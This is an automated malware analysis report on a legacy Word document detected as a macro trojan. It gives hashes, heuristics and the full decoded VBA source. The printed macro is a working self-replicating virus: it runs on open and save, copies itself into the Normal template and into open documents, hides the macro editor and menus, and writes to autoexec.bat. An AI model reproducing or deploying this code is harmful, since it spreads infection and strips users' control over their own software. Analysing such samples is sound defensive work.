Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a4bfc1b88e0995e4…

MALICIOUS

Office (OLE)

43.0 KB Created: 2000-07-11 10:55:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: f170c31f6be1727b72819c1c6533c098 SHA-1: fcb9e8634e9f5287dc9a60d2383ab2d14d569627 SHA-256: a4bfc1b88e0995e40146dd41e0d7cb9cc53f4f2f896f865a4622c64d13230d3a
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a Microsoft Word document containing VBA macros. The 'AutoOpen' macro, a known execution trigger, is present and initiates the 'RIA' subroutine. This subroutine appears to copy the 'KRF' macro module to the Normal template and any currently open documents, and then saves them. This behavior suggests an attempt to achieve persistence or spread the malicious macro to other documents.

Heuristics 4

  • ClamAV: Doc.Trojan.Opey-19 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Opey-19
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13933 bytes
SHA-256: 09f1cfb37e066338e624a9f040ad83b0be75958a66fe80ce90c79a2b49cfed62
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "KRF"
Public IND1  As String

Sub RIA()
On Error Resume Next
Call KRF
NTInfected = False
For i = NormalTemplate.VBProject.VBComponents.Count To 1 Step -1
clan = NormalTemplate.VBProject.VBComponents(i).Name
If clan = "KRF" Then NTInfected = True
If (clan <> "KRF") And (clan <> "ThisDocument") Then Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
Next i
For Each opendoc In Documents
ODInfected = False
With opendoc
For j = opendoc.VBProject.VBComponents.Count To 1 Step -1
clan = opendoc.VBProject.VBComponents(j).Name
If clan = "KRF" Then ODInfected = True
If (clan <> "KRF") And (clan <> "ThisDocument") And (clan <> "Reference to Normal") Then Application.OrganizerDelete Source:=opendoc.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
Next j
If ODInfected = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=opendoc.FullName, Name:="KRF", Object:=wdOrganizerObjectProjectItems
opendoc.SaveAs FileName:=opendoc.FullName
End If
End With
Next opendoc
If NTInfected = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="KRF", Object:=wdOrganizerObjectProjectItems
NormalTemplate.Save
End If
Call Introduce
End Sub

Sub FileSave()
On Error Resume Next
Call RIA
ActiveDocument.Save
End Sub
Sub FileClose()
On Error Resume Next
Call RIA
If ActiveDocument.Saved = False Then ActiveDocument.Save
ActiveDocument.Close
End Sub
Sub FileExit()
On Error Resume Next
Call RIA
If ActiveDocument.Saved = False Then ActiveDocument.Save
Application.Quit
End Sub
Sub FileNew()
On Error Resume Next
Dialogs(wdDialogFileNew).Show
newfile$ = 1
Call RIA
End Sub
Sub AutoOpen()
On Error Resume Next
Call RIA
End Sub
Sub AutoExec()
On Error Resume Next
Call RIA
End Sub
Sub FileSaveAs()
On Error Resume Next
Call RIA
Dialogs(wdDialogFileSaveAs).Show
End Sub
Sub FilePageSetup()
On Error Resume Next
Call RIA
Dialogs(wdDialogFilePageSetup).Show
End Sub
Sub FilePrint()
On Error Resume Next
Call RIA
Dialogs(wdDialogFilePrint).Show
End Sub
Sub FileOpen()
On Error Resume Next
Dialogs(wdDialogFileOpen).Show
Call RIA
End Sub
Sub xxx()
    open
End Sub

Sub KRF()
On Error Resume Next
Application.UserName = "Young Kim"
Application.UserAddress = "PLM"
Application.UserInitials = "KRF"
With Dialogs(wdDialogFileSummaryInfo)
.Author = "Young Kim"
.Title = "RIA"
.Execute
End With

With Options
.ConfirmConversions = False
.SaveNormalPrompt = False
End With
With ActiveDocument
.ReadOnlyRecommended = False
End With

On Error Resume Next
CommandBars("Visual Basic").Visible = False
CommandBars("Visual Basic").Enabled = False
CommandBars("Visual Basic").Protection = msoBarNoChangeVisible
CommandBars("Visual Basic").Protection = msoBarNoCustomize
CommandBars("Tools").Controls("Macro").Delete
CommandBars("Tools").Controls("Customize...").Delete
CommandBars("Tools").Controls("Options...").Delete
CustomizationContext = NormalTemplate
FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable

End Sub

Sub Introduce()
On Error Resume Next
autoexecfile$ = "c:\autoexec.bat"
hFile = FreeFile
line1$ = ""
If (Year(Date) > 2000) Then
If (Day(Date) = 22) Then
line1$ = "echo Happy KRF Day 12-22 !!!"
End If
If (line1$ <> "") And (IND1 <> "T") Then
Open autoexecfile$ For Append Access Write As hFile
Print #hFile, "@echo off"
Print #hFile, line1$
Print #hFile, "echo from: Young Kim (PLM) 1999-2000"
Print #hFile, "pause"
IND1 = "T"
Close hFile
End If
End If
End Sub


' Processing file: /opt/analyzer/scan_staging/da9b078cd3514d089fe4249376eba250.bin
' ===================================================
... (truncated)

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